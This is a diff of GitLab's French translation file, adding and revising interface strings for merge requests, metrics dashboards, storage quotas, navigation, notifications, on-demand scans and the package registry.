+msgstr "Une erreur s'est produite lors du rejet du popover de suggestion. Veuillez réessayer."
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Erreur lors du chargement du diff complet. Veuillez réessayer."
+msgid "MergeRequest|Failed to load the page"
+msgstr "Échec du chargement de la page"
+
msgid "MergeRequest|No files found"
msgstr "Aucun fichier trouvé"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr "Rechercher (p. ex. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr "Rechercher (p. ex. *.vue) (%{MODIFIER_KEY}P)"
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr "%{sourceTopic} sera supprimé"
@@ -26054,7 +26344,7 @@ msgid "Merged"
msgstr "Fusionnée"
msgid "Merged MRs"
-msgstr ""
+msgstr "MRs fusionnées"
msgid "Merged branches are being deleted. This can take some time depending on the number of branches. Please refresh the page to see changes."
msgstr "Les branches fusionnées sont en cours de suppression. Cela peut prendre un certain temps en fonction du nombre de branches. Veuillez actualiser la page pour suivre l'évolution."
@@ -26063,7 +26353,7 @@ msgid "Merged by"
msgstr "Fusionné par"
msgid "Merged this merge request."
-msgstr ""
+msgstr "Cette demande de fusion a été fusionnée."
msgid "Merged: %{merged}"
msgstr "Fusionné: %{merged}"
@@ -26083,6 +26373,9 @@ msgstr "Message"
msgid "Messages"
msgstr "Messages"
+msgid "Metadata"
+msgstr "Métadonnées"
+
msgid "Method"
msgstr "Méthode"
@@ -26174,7 +26467,7 @@ msgid "MetricsDashboardAnnotation|You are not authorized to delete this annotati
msgstr "Vous n'êtes pas autorisé à supprimer cette annotation"
msgid "MetricsDashboardAnnotation|can't be before starting_at time"
-msgstr ""
+msgstr "ne peut pas être avant l'heure de début starting_at"
msgid "MetricsSettings|Add a button to the metrics dashboard linking directly to your existing external dashboard."
msgstr "Ajouter un bouton au tableau de bord des métriques qui se connecte directement à votre tableau de bord externe existant."
@@ -26243,7 +26536,7 @@ msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
msgstr "Copiez et collez le YAML du panneau dans votre fichier YAML du tableau de bord."
msgid "Metrics|Create custom dashboard %{fileName}"
-msgstr ""
+msgstr "Création du tableau de bord personnalisé %{fileName}"
msgid "Metrics|Create metric"
msgstr "Créer une métrique"
@@ -26314,7 +26607,7 @@ msgid "Metrics|Link contains invalid chart information, please verify the link t
msgstr "Le lien contient des informations de graphique non valides, veuillez le vérifier pour voir le panneau étendu."
msgid "Metrics|Manage chart links"
-msgstr ""
+msgstr "Gérer les liens du graphique"
msgid "Metrics|Max"
msgstr "Max"
@@ -26383,7 +26676,7 @@ msgid "Metrics|There was an error getting annotations information."
msgstr "Une erreur s’est produite lors de l’obtention des informations d’annotations."
msgid "Metrics|There was an error getting dashboard validation warnings information."
-msgstr ""
+msgstr "Une erreur s’est produite lors de l’obtention des informations sur les avertissements de validation du tableau de bord."
msgid "Metrics|There was an error getting deployment information."
msgstr "Une erreur s’est produite lors de l’obtention des informations de déploiement."
@@ -26422,7 +26715,7 @@ msgid "Metrics|Used if the query returns a single series. If it returns multiple
msgstr "Utilisé si la requête ne renvoie qu’une seule série. Si elle renvoie plusieurs séries, leurs libellés de légende seront collectés à partir de la réponse."
msgid "Metrics|Validating query"
-msgstr ""
+msgstr "Validation de la requête"
msgid "Metrics|Values"
msgstr "Valeurs"
@@ -26452,7 +26745,7 @@ msgid "Metrics|e.g. Throughput"
msgstr "p. ex., débit"
msgid "Metrics|e.g. rate(http_requests_total[5m])"
-msgstr ""
+msgstr "p. ex. rate(http_requests_total[5m])"
msgid "Metrics|e.g. req/sec"
msgstr "p. ex. req/sec"
@@ -26461,7 +26754,7 @@ msgid "Mi"
msgstr "Mi"
msgid "Migrated %{success_count}/%{total_count} files."
-msgstr ""
+msgstr "%{success_count}/%{total_count} fichiers migrés."
msgid "Migration"
msgstr "Migration"
@@ -26510,6 +26803,12 @@ msgstr "Rechercher des jalons"
msgid "MilestoneCombobox|Select milestone"
msgstr "Sélectionner le jalon"
+msgid "MilestonePage|Copy milestone ID"
+msgstr "Copier l'ID du jalon"
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr "ID du jalon : %{milestone_id}"
+
msgid "MilestoneSidebar|Closed:"
msgstr "Fermé:"
@@ -26694,7 +26993,7 @@ msgid "Miscellaneous"
msgstr "Divers"
msgid "Missing"
-msgstr ""
+msgstr "Manquant"
msgid "Missing OAuth configuration for GitHub."
msgstr "La configuration OAuth pour GitHub est manquante."
@@ -26706,7 +27005,7 @@ msgid "Missing arch"
msgstr "Arch manquante"
msgid "Missing commit signatures endpoint!"
-msgstr ""
+msgstr "Point de terminaison des signatures de validation manquant !"
msgid "MissingSSHKeyWarningLink|Add SSH key"
msgstr "Ajouter une clé SSH"
@@ -26730,22 +27029,22 @@ msgid "Modal|Close"
msgstr "Fermer"
msgid "Model candidate details"
-msgstr ""
+msgstr "Détails du candidat au modèle"
msgid "Modified"
msgstr "Modifié"
msgid "Modified in this version"
-msgstr ""
+msgstr "Modifiée dans cette version"
msgid "Modify commit message"
msgstr "Modifier le message de validation"
msgid "Modify commit messages"
-msgstr ""
+msgstr "Modifier les messages de validation"
msgid "Modify merge commit"
-msgstr ""
+msgstr "Modifier le commit de fusion"
msgid "Mon"
msgstr "Lun"
@@ -26763,7 +27062,7 @@ msgid "Monitor Settings"
msgstr "Paramètres de Supervision"
msgid "Monitor your errors by integrating with Sentry."
-msgstr ""
+msgstr "Surveillez vos erreurs grâce à l'intégration de Sentry."
msgid "Monitoring"
msgstr "Supervision"
@@ -26811,7 +27110,7 @@ msgid "Most common"
msgstr "Le plus commun"
msgid "Most relevant"
-msgstr ""
+msgstr "Pertinence décroissante"
msgid "Most stars"
msgstr "Les plus étoilés"
@@ -26853,13 +27152,13 @@ msgid "MoveIssue|Cannot move issues of '%{issue_type}' type."
msgstr "Impossible de déplacer les tickets de type « %{issue_type} »."
msgid "Moved issue to %{label} column in the board."
-msgstr ""
+msgstr "Ticket déplacé vers la colonne %{label} dans le tableau."
msgid "Moved this issue to %{path_to_project}."
msgstr "Ce ticket a été déplacé dans %{path_to_project}."
msgid "Moves issue to %{label} column in the board."
-msgstr ""
+msgstr "Déplace le ticket vers la colonne %{label} dans le tableau."
msgid "Moves this issue to %{path_to_project}."
msgstr "Déplace ce ticket vers %{path_to_project}."
@@ -26877,7 +27176,7 @@ msgid "MrList|Assigned to %{name}"
msgstr "Assigné à %{name}"
msgid "MrList|Review requested from %{name}"
-msgstr ""
+msgstr "Revue demandée à %{name}"
msgid "MrSurvey|By continuing, you acknowledge that responses will be used to improve GitLab and in accordance with the %{linkStart}GitLab Privacy Policy%{linkEnd}."
msgstr "En poursuivant, vous reconnaissez être informé que les réponses seront utilisées pour améliorer GitLab et cela dans le respect de la %{linkStart}Politique de Confidentialité de GitLab%{linkEnd}."
@@ -26906,6 +27205,9 @@ msgstr "Il est possible d'avoir plusieurs plages d'adresses IP. N'affecte pas l'
msgid "Multiple Prometheus integrations are not supported"
msgstr "Les intégrations multiples de Prometheus ne sont pas prises en charge"
+msgid "Multiple signatures"
+msgstr "Signatures multiples"
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr "Multiplicateur à appliquer aux intervalles d'interrogation. Les valeurs décimales sont prises en charge. La valeur par défaut est 1."
@@ -26930,6 +27232,9 @@ msgstr "NOUVEAU"
msgid "Name"
msgstr "Nom"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr "Le nom ne peut contenir que des lettres, des chiffres, des émojis, « _ », « . », « + », des tirets ou des espaces"
+
msgid "Name can't be blank"
msgstr "Le nom ne peut pas être vide"
@@ -26939,6 +27244,9 @@ msgstr "Le nom a déjà été pris"
msgid "Name is already taken."
msgstr "Le nom est déjà pris."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr "Le nom doit commencer par une lettre, un chiffre, un émoji ou « _ »"
+
msgid "Name new label"
msgstr "Nommez la nouvelle étiquette"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] "%{namespace_name} contient %{locked_project_count} projet verrouillé"
msgstr[1] "%{namespace_name} contient %{locked_project_count} projets verrouillés"
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name} est maintenant en lecture seule. Vous ne pouvez pas : %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr "%{namespace_name} est maintenant en lecture seule. Les projets sous cet espace de noms sont verrouillés et les actions sont restreintes."
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
-msgstr "Si vous atteignez 100%% de la capacité de stockage, vous ne pourrez pas : %{base_message}"
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr "Si %{namespace_name} dépasse le quota de stockage, tous les projets de l'espace de noms seront verrouillés et les actions seront restreintes."
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
-msgstr "Veuillez acheter du stockage supplémentaire pour déverrouiller vos projets au-delà de la limite de projet gratuite de %{free_size_limit}. Vous ne pouvez pas %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr "Si vous atteignez 100%% de la capacité de stockage, vous ne serez pas en mesure de : %{repository_limits_description}"
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
-msgstr "Vous avez utilisé la totalité de votre stockage supplémentaire, veuillez en acheter davantage pour déverrouiller vos projets au-delà de la limite gratuite de %{free_size_limit}. Vous ne pouvez pas %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr "Gérez votre utilisation du stockage, ou, si vous êtes le propriétaire d'un espace de noms, achetez du stockage supplémentaire."
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
-msgstr "Vous avez atteint %{usage_in_percent} de la capacité de stockage de %{namespace_name} (%{used_storage} sur %{storage_limit})"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr "Quelles actions sont restreintes ?"
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr "Quelles actions seront restreintes ?"
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
+msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr "Vous avez atteint la limite de stockage gratuit de %{free_size_limit} sur un ou plusieurs projets."
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr "Vous avez utilisé %{usage_in_percent} du quota de stockage pour %{namespace_name} (%{used_storage} sur %{storage_limit})"
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "pousser vers votre dépôt, créer des pipelines, créer des tickets ou ajouter des commentaires. Pour réduire la quantité de stockage, supprimez les dépôts, artéfacts, wikis, tickets et pipelines inutilisés."
@@ -27073,6 +27393,27 @@ msgstr "Rouge clair"
msgid "NavigationTheme|Red"
msgstr "Rouge"
+msgid "Navigation|Context navigation"
+msgstr "Navigation contextuelle"
+
+msgid "Navigation|Recent groups"
+msgstr "Groupes récents"
+
+msgid "Navigation|Recent projects"
+msgstr "Projets récents"
+
+msgid "Navigation|Switch to..."
+msgstr "Basculer vers..."
+
+msgid "Navigation|View all groups"
+msgstr "Voir tous les groupes"
+
+msgid "Navigation|View all projects"
+msgstr "Voir tous les projets"
+
+msgid "Navigation|Your work"
+msgstr "Votre travail"
+
msgid "Nav|Help"
msgstr "Aide"
@@ -27089,7 +27430,7 @@ msgid "Need help?"
msgstr "Besoin d'aide ?"
msgid "Needs"
-msgstr ""
+msgstr "Besoins"
msgid "Needs attention"
msgstr "Nécessite de l'attention"
@@ -27107,7 +27448,7 @@ msgid "New"
msgstr "Nouveau"
msgid "New %{type} in %{project}"
-msgstr ""
+msgstr "Nouveau %{type} dans %{project}"
msgid "New Application"
msgstr "Nouvelle application"
@@ -27154,7 +27495,7 @@ msgid "New Pages Domain"
msgstr "Nouveau domaine de pages"
msgid "New Password"
-msgstr "Nouveau Mot de passe"
+msgstr "Nouveau mot de passe"
msgid "New Pipeline Schedule"
msgstr "Nouvelle planification de pipeline"
@@ -27187,7 +27528,7 @@ msgid "New branch unavailable"
msgstr "Nouvelle branche indisponible"
msgid "New code quality findings"
-msgstr ""
+msgstr "Nouvelles découvertes de la qualité du code"
msgid "New confidential epic title "
msgstr "Nouveau titre d'épopée confidentielle "
@@ -27201,9 +27542,6 @@ msgstr "Nouvelle clé de déploiement"
msgid "New directory"
msgstr "Nouveau dossier"
-msgid "New discussion"
-msgstr "Nouvelle discussion"
-
msgid "New email address added"
msgstr "Nouvelle adresse de courriel ajoutée"
@@ -27235,7 +27573,7 @@ msgid "New incident"
msgstr "Nouvel incident"
msgid "New incident has been created"
-msgstr ""
+msgstr "Un nouvel incident a été créé"
msgid "New issue"
msgstr "Nouveau ticket"
@@ -27331,13 +27669,13 @@ msgid "Newly-registered users are external by default"
msgstr "Les utilisateurs nouvellement enregistrés sont externes par défaut"
msgid "Next"
-msgstr "GitLab Next"
+msgstr "Suivant"
msgid "Next commit"
msgstr "Commit suivant"
msgid "Next design"
-msgstr "Design suivant"
+msgstr "Esquisse suivante"
msgid "Next file in diff"
msgstr "Fichier suivant du diff"
@@ -27346,7 +27684,7 @@ msgid "Next scan"
msgstr "Analyse suivante"
msgid "Next unresolved discussion"
-msgstr ""
+msgstr "Discussion non résolue suivante"
msgid "Next update"
msgstr "Prochaine mise à jour"
@@ -27358,7 +27696,7 @@ msgid "No"
msgstr "Non"
msgid "No %{header} for this request."
-msgstr ""
+msgstr "Pas de %{header} pour cette requête."
msgid "No %{providerTitle} repositories found"
msgstr "Aucun dépôt %{providerTitle} trouvé"
@@ -27415,7 +27753,7 @@ msgid "No branches found"
msgstr "Aucune branche trouvée"
msgid "No change to this %{noun}'s draft status."
-msgstr ""
+msgstr "Aucune modification de l'état de brouillon de cette %{noun}."
msgid "No changes"
msgstr "Aucun changement"
@@ -27427,7 +27765,7 @@ msgid "No child epics match applied filters"
msgstr "Aucune épopée enfant ne correspond aux filtres appliqués"
msgid "No commenters"
-msgstr ""
+msgstr "Pas de commentateur"
msgid "No commits present here"
msgstr "Aucun commit présent ici"
@@ -27519,9 +27857,6 @@ msgstr "Aucun étiquette"
msgid "No labels with such name or description"
msgstr "Aucune étiquette avec un tel nom ou une telle description"
-msgid "No license. All rights reserved"
-msgstr "Aucune licence. Tous droits réservés"
-
msgid "No matches found"
msgstr "Aucune correspondance trouvée"
@@ -27529,7 +27864,7 @@ msgid "No matching %{issuable} found. Make sure that you are adding a valid %{is
msgstr "Il n'existe pas de %{issuable} qui corresponde. Assurez-vous d'ajouter un ID de %{issuable} valide."
msgid "No matching %{issuable} found. Make sure that you are adding a valid %{issuable} URL."
-msgstr ""
+msgstr "Pas de %{issuable} qui corresponde. Assurez-vous que vous ajoutez une URL de %{issuable} valide."
msgid "No matching labels"
msgstr "Aucune étiquette correspondante"
@@ -27544,7 +27879,7 @@ msgid "No members found"
msgstr "Aucun membre trouvé"
msgid "No memberships found"
-msgstr ""
+msgstr "Aucune adhésion trouvée"
msgid "No merge requests found"
msgstr "Aucune demande de fusion trouvée"
@@ -27574,7 +27909,7 @@ msgid "No preview for this file type"
msgstr "Aucun aperçu pour ce type de fichier"
msgid "No prioritized labels with such name or description"
-msgstr ""
+msgstr "Aucune étiquette prioritaire avec ce nom ou cette description"
msgid "No project subscribes to the pipelines in this project."
msgstr "Aucun projet n'est abonné aux pipelines de ce projet."
@@ -27640,7 +27975,7 @@ msgid "No tag selected"
msgstr "Aucune étiquette sélectionnée"
msgid "No template"
-msgstr ""
+msgstr "Pas de modèle"
msgid "No template selected"
msgstr "Aucun modèle sélectionné"
@@ -27698,6 +28033,21 @@ msgstr "Aucun des jalons de groupe n'a le même projet que la version"
msgid "Normal text"
msgstr "Texte normal"
+msgid "NorthstarNavigation|Alpha"
+msgstr "Alpha"
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr "Impossible de mettre à jour la préférence de nouvelle navigation. Veuillez réessayer plus tard."
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr "Refonte de la navigation"
+
+msgid "NorthstarNavigation|New navigation"
+msgstr "Nouvelle navigation"
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr "Activer/désactiver la nouvelle navigation"
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr "Tous les navigateurs ne gèrent pas les appareils U2F. Par conséquent, il vous faut d'abord configurer une application d'authentification à deux facteurs. De cette façon, vous serez toujours en mesure de vous connecter - même si vous utilisez un navigateur non pris en charge."
@@ -27735,7 +28085,7 @@ msgid "Not ready yet. Try again later."
msgstr "Pas encore prêt. Réessayez plus tard."
msgid "Not started"
-msgstr ""
+msgstr "Non démarré"
msgid "Not supported"
msgstr "Non pris en charge"
@@ -27777,7 +28127,7 @@ msgid "Notes"
msgstr ""
msgid "Notes rate limit"
-msgstr ""
+msgstr "Limitation de la fréquence des notes"
msgid "Notes|Are you sure you want to cancel creating this %{commentType}?"
msgstr "Êtes-vous sûr de vouloir annuler la création de ce %{commentType} ?"
@@ -27911,7 +28261,7 @@ msgid "NotificationEvent|Reopen issue"
msgstr "Rouvrir le ticket"
msgid "NotificationEvent|Reopen merge request"
-msgstr ""
+msgstr "Rouvrir la demande de fusion"
msgid "NotificationEvent|Successful pipeline"
msgstr "Pipeline réussi"
@@ -27980,7 +28330,7 @@ msgid "Notify|%{invited_user} has %{highlight_start}declined%{highlight_end} you
msgstr "%{invited_user} a %{highlight_start}décliné%{highlight_end} votre invitation à rejoindre le %{target_name} %{target_link}."
msgid "Notify|%{issues} imported."
-msgstr ""
+msgstr "%{issues} importé(s)."
msgid "Notify|%{member_link} requested %{member_role} access to the %{target_source_link} %{target_type}."
msgstr "%{member_link} a demandé un accès %{member_role} au %{target_type} %{target_source_link}."
@@ -28043,10 +28393,10 @@ msgid "Notify|Click here to set your password"
msgstr "Cliquez ici pour définir votre mot de passe"
msgid "Notify|Commit Author"
-msgstr ""
+msgstr "Auteur du commit"
msgid "Notify|Committed by"
-msgstr ""
+msgstr "Validé par"
msgid "Notify|Don't want to receive updates from GitLab administrators?"
msgstr "Vous ne souhaitez pas recevoir de mises à jour des administrateurs GitLab ?"
@@ -28070,7 +28420,7 @@ msgid "Notify|If this key was added in error, you can remove it under %{removal_
msgstr "Si cette clé a été ajoutée par erreur, vous pouvez la supprimer sous %{removal_link}"
msgid "Notify|If you no longer wish to use this domain with GitLab Pages, please remove it from your GitLab project and delete any related DNS records."
-msgstr "Si vous ne souhaitez plus utiliser ce domaine avec les Pages GitLab, veuillez l'enlever de votre projet GitLab et supprimer tous les enregistrements DNS associés."
+msgstr "Si vous ne souhaitez plus utiliser ce domaine avec GitLab Pages, veuillez l'enlever de votre projet GitLab et supprimer tous les enregistrements DNS associés."
msgid "Notify|Issue was %{issue_status} by %{updated_by}"
msgstr "Le ticket a été %{issue_status} par %{updated_by}"
@@ -28199,22 +28549,22 @@ msgid "Notify|Your account has been created successfully."
msgstr "Votre compte a été créé avec succès."
msgid "Notify|Your request to join the %{target_to_join} %{target_type} has been %{denied_tag}."
-msgstr "Votre demande de rejoindre le %{target_to_join} %{target_type} a été %{denied_tag}."
+msgstr "Votre demande pour rejoindre le %{target_type} %{target_to_join} a été %{denied_tag}."
msgid "Notify|currently supported languages"
msgstr "langages actuellement pris en charge"
msgid "Notify|deleted"
-msgstr ""
+msgstr "a supprimé"
msgid "Notify|login.........................................."
msgstr "connexion.........................................."
msgid "Notify|pushed new"
-msgstr ""
+msgstr "a poussé une nouvelle"
msgid "Notify|pushed to"
-msgstr ""
+msgstr "a poussé vers"
msgid "Notify|successfully completed %{jobs} in %{stages}."
msgstr "a terminé %{jobs} avec succès en %{stages}."
@@ -28234,20 +28584,14 @@ msgstr "Les métadonnées de Nuget doivent au moins avoir license_url, project_u
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr "Nombre de fragments et de répliques Elasticsearch par index :"
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr "Nombre de poussées Git après lequel %{code_start}git gc%{code_end} est exécuté."
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr "Nombre de poussées Git après lequel un %{code_start}git repack%{code_end} complet est exécuté."
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
-msgstr "Nombre de poussées Git après lequel un %{code_start}git repack%{code_end} incrémental est exécuté."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
+msgstr "Nombre de poussées Git après quoi Gitaly est sollicité pour optimiser un dépôt."
msgid "Number of LOCs per commit"
-msgstr ""
+msgstr "Nombre de LOCs par validation"
msgid "Number of commits"
-msgstr ""
+msgstr "Nombre de validations"
msgid "Number of commits per MR"
msgstr "Nombre de commits par demande de fusion"
@@ -28291,6 +28635,18 @@ msgstr "Objectif"
msgid "Observability"
msgstr "Observabilité"
+msgid "Observability|Dashboards"
+msgstr "Tableaux de bord"
+
+msgid "Observability|Data sources"
+msgstr "Sources de données"
+
+msgid "Observability|Explore"
+msgstr "Explorer"
+
+msgid "Observability|Manage dashboards"
+msgstr "Gérer les tableaux de bord"
+
msgid "Oct"
msgstr "oct."
@@ -28301,13 +28657,13 @@ msgid "Off"
msgstr "Désactivé"
msgid "Offline"
-msgstr ""
+msgstr "Hors ligne"
msgid "Oh no!"
msgstr "Oh non !"
msgid "Ok, let's go"
-msgstr ""
+msgstr "D'accord, allons-y"
msgid "Okay"
msgstr "D'accord"
@@ -28339,7 +28695,7 @@ msgid "On-call schedules"
msgstr "Calendriers des astreintes"
msgid "On-demand scans run outside of the DevOps cycle and find vulnerabilities in your projects"
-msgstr ""
+msgstr "Les analyses à la demande s'exécutent en dehors du cycle DevOps et trouvent les vulnérabilités de vos projets"
msgid "OnCallScheduless|Any escalation rules that are using this schedule will also be deleted."
msgstr "Toutes les règles d'escalade faisant usage de ce calendrier seront également supprimées."
@@ -28411,10 +28767,10 @@ msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr "Pour ce cycle, l'astreinte sera :"
msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
-msgstr ""
+msgstr "Calendrier d'astreintes %{obstacle} dans le projet %{project}"
msgid "OnCallSchedules|On-call schedules"
-msgstr ""
+msgstr "Calendriers d'astreintes"
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
msgstr ""
@@ -28561,7 +28917,7 @@ msgid "OnDemandScans|Edit on-demand DAST scan"
msgstr "Modifier l'analyse DAST à la demande"
msgid "OnDemandScans|Edit on-demand scan"
-msgstr ""
+msgstr "Modifier l'analyse à la demande"
msgid "OnDemandScans|Edit profile"
msgstr "Modifier le profil"
@@ -28579,7 +28935,7 @@ msgid "OnDemandScans|My daily scan"
msgstr "Mon analyse quotidienne"
msgid "OnDemandScans|New %{profileType} profile"
-msgstr ""
+msgstr "Nouveau profil de %{profileType}"
msgid "OnDemandScans|New on-demand DAST scan"
msgstr "Nouvelle analyse DAST à la demande"
@@ -28594,7 +28950,7 @@ msgid "OnDemandScans|New scan"
msgstr "Nouvelle analyse"
msgid "OnDemandScans|No %{profileType} profiles found for DAST"
-msgstr ""
+msgstr "Aucun profil de %{profileType} trouvé pour DAST"
msgid "OnDemandScans|On-demand Scans"
msgstr "Analyses à la demande"
@@ -28669,7 +29025,7 @@ msgid "OnDemandScans|Timezone"
msgstr "Fuseau horaire"
msgid "OnDemandScans|Verify configuration"
-msgstr ""
+msgstr "Vérifier la configuration"
msgid "OnDemandScans|View results"
msgstr "Voir les résultats"
@@ -28718,11 +29074,14 @@ msgstr "Un ou plusieurs de vos fichiers de dépendance ne sont pas pris en charg
msgid "One or more of your personal access tokens has expired."
msgstr "Un ou plusieurs de vos jetons d'accès personnels ont expiré."
+msgid "One or more of your personal access tokens have expired."
+msgstr "Un ou plusieurs de vos jetons d'accès personnels ont expiré."
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr "Un ou plusieurs de vos jetons d'accès personnels expireront dans %{days_to_expire} jours ou moins :"
msgid "Only %{workspaceType} members with %{permissions} can view or be notified about this %{issuableType}."
-msgstr "Seuls les membres du %{workspaceType} ayant un rôle de %{permissions} peuvent voir ce(tte) %{issuableType} et être notifié à son sujet."
+msgstr "Seuls les membres du %{workspaceType} ayant un rôle de %{permissions} peuvent voir ce(tte) %{issuableType} et être notifiés à son sujet."
msgid "Only 'Reporter' roles and above on tiers Premium and above can see Value Stream Analytics."
msgstr "Seuls les rôles « Rapporteur » et supérieurs sur les forfaits Premium et au-delà peuvent voir l'Analyse des Chaînes de Valeur."
@@ -28761,10 +29120,10 @@ msgid "Only members of this group can access the wiki."
msgstr "Seuls les membres de ce groupe peuvent accéder au wiki."
msgid "Only policy:"
-msgstr ""
+msgstr "Politique « only » :"
msgid "Only proceed if you trust %{idp_url} to control your GitLab account sign in."
-msgstr ""
+msgstr "Continuez uniquement si vous faites confiance à %{idp_url} pour contrôler la connexion à votre compte GitLab."
msgid "Only project members can comment."
msgstr "Seuls les membres du projet peuvent commenter."
@@ -28785,7 +29144,7 @@ msgid "Only verified users with an email address in any of these domains can be
msgstr "Seuls les utilisateurs vérifiés avec une adresse de courriel de l'un de ces domaines peuvent être ajoutés au groupe. Plusieurs domaines sont possibles."
msgid "Only ‘Reporter’ roles and above on tiers Premium and above can see Productivity Analytics."
-msgstr ""
+msgstr "Seuls les rôles « Rapporteur » et supérieurs sur les forfaits Premium et au-delà peuvent voir l'Analytique de la Productivité."
msgid "Oops, are you sure?"
msgstr "Ouh là, êtesâ€vous sûr(e) ?"
@@ -28797,7 +29156,7 @@ msgid "Open Selection"
msgstr "Ouvrir la Sélection"
msgid "Open errors"
-msgstr ""
+msgstr "Erreurs (cliquez pour ouvrir)"
msgid "Open in Gitpod"
msgstr "Ouvrir dans Gitpod"
@@ -28806,7 +29165,7 @@ msgid "Open in Web IDE"
msgstr "Ouvrir dans l'EDI Web"
msgid "Open in file view"
-msgstr ""
+msgstr "Ouvrir dans le visualiseur de fichiers"
msgid "Open in your IDE"
msgstr "Ouvrir dans votre IDE"
@@ -28833,13 +29192,13 @@ msgid "OpenAPI Specification file path or URL"
msgstr "URL ou chemin du fichier de Spécification OpenAPI"
msgid "OpenSearch's region."
-msgstr ""
+msgstr "Région d'OpenSearch."
msgid "Opened"
msgstr "Ouvert"
msgid "Opened MRs"
-msgstr ""
+msgstr "MRs ouvertes"
msgid "Opened issues"
msgstr "Tickets ouverts"
@@ -28883,6 +29242,9 @@ msgstr "Le tableau de bord des opérations fournit un résumé de l’état de s
msgid "Opstrace endpoint for Error Tracking integration"
msgstr "Point d'arrivée Opstrace pour l'intégration du Suivi d'Erreurs"
+msgid "Optimize repository period"
+msgstr "Période pour l'optimisation du dépôt"
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Optimisez votre flux de travail avec les Pipelines CI/CD"
@@ -28971,7 +29333,7 @@ msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web brows
msgstr "Veuillez installer un %{browser_link_start}navigateur Web pris en charge%{browser_link_end} pour une meilleure expérience."
msgid "Outdent line"
-msgstr ""
+msgstr "Désindenter la ligne\n"
msgid "Overridden"
msgstr ""
@@ -29058,7 +29420,7 @@ msgid "Package recipe already exists"
msgstr "La recette du paquet existe déjà"
msgid "Package registry rate limits"
-msgstr ""
+msgstr "Limitation de la fréquence d'accès au registre de paquets"
msgid "Package type"
msgstr "Type de paquet"
@@ -29097,7 +29459,7 @@ msgid "PackageRegistry|Add Conan Remote"
msgstr "Ajouter un dépôt distant Conan"
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
-msgstr ""
+msgstr "Commande pour ajouter un dépôt Gradle Groovy DSL"
msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
msgstr "Ajouter la commande du dépôt de DSL Kotlin pour Gradle"
@@ -29118,10 +29480,10 @@ msgid "PackageRegistry|Allow packages with the same name and version to be uploa
msgstr "Autoriser le téléversement vers le registre de paquets qui ont les mêmes nom et version. La dernière version d'un paquet est toujours utilisée lors de l'installation."
msgid "PackageRegistry|App group: %{group}"
-msgstr ""
+msgstr "Groupe de l'appli : %{group}"
msgid "PackageRegistry|App name: %{name}"
-msgstr ""
+msgstr "Nom de l’appli : %{name}"
msgid "PackageRegistry|Built by pipeline %{link} triggered %{datetime} by %{author}"
msgstr "Construction par le pipeline %{link} déclenché %{datetime} par %{author}"
@@ -29199,7 +29561,7 @@ msgid "PackageRegistry|Copy require package include"
msgstr ""
msgid "PackageRegistry|Copy target SHA"
-msgstr ""
+msgstr "Copier le SHA de la cible"
msgid "PackageRegistry|Copy yarn command"
msgstr "Copier la commande yarn"
